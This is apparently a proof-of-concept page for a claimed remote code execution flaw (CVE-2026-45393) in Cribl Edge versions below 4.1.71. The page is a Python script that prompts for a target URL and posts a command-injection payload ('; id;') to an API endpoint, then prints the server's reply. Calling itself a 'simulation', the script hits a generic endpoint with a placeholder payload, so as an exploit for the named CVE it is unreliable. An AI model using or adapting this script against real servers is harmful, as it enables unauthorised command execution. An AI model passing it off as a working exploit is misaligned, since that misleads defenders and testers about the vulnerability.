CVE-2026-45393 Cribl Edge远程代码执行漏洞

import requests # CVE-2026-45393 Proof of Concept (Simulation) # Target: Cribl Edge < 4.1.71 def exploit(target_url): headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Malicious payload simulation (e.g., command injection via specific API endpoint) payload = { "config": { "command": "; id;" # Example command injection payload } } try: # Sending request to the vulnerable endpoint response = requests.post(f"{target_url}/api/v1/endpoint", json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check for command execution.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to exploit. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = input("Enter target URL (e.g., http://127.0.0.1:9000): ") exploit(target)